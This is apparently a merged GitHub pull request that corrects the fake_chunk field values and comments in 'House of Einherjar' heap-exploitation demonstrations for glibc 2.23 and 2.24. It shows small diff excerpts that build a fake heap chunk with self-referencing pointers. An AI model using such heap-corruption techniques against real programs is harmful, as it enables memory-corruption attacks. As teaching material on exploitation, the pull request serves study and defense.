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fix: remove misleading unnecessary bypass/comments on fake_chunk fields in House of Einherjar <2.26 #217

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Merged
Kyle-Kyle merged 2 commits into from
Oct 29, 2025
Merged

fix: remove misleading unnecessary bypass/comments on fake_chunk fields in House of Einherjar <2.26 #217

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81223bd
fix: remove unnecessary size equality check bypass
D4R30 Oct 29, 2025
aaaad9e
fix: remove misleading requirement comment on fake_chunk size
D4R30 Oct 29, 2025
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4 changes: 2 additions & 2 deletions glibc_2.23/house_of_einherjar.c
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Original file line number Diff line number Diff line change
Expand Up @@ -38,8 +38,8 @@ int main()

size_t fake_chunk[6];

fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[0] = 0x00; // The prev_size vs. size check is of no concern, until GLIBC 2.26 P->bk->size == P->prev_size check
fake_chunk[1] = 0x00; // Arbitrary value; fake_chunk->size is ignored during backward consolidation.
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
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4 changes: 2 additions & 2 deletions glibc_2.24/house_of_einherjar.c
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Original file line number Diff line number Diff line change
Expand Up @@ -38,8 +38,8 @@ int main()

size_t fake_chunk[6];

fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[0] = 0x00; // The prev_size vs. size check is of no concern, until GLIBC 2.26 P->bk->size == P->prev_size check
fake_chunk[1] = 0x00; // Arbitrary value; fake_chunk->size is ignored during backward consolidation.
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
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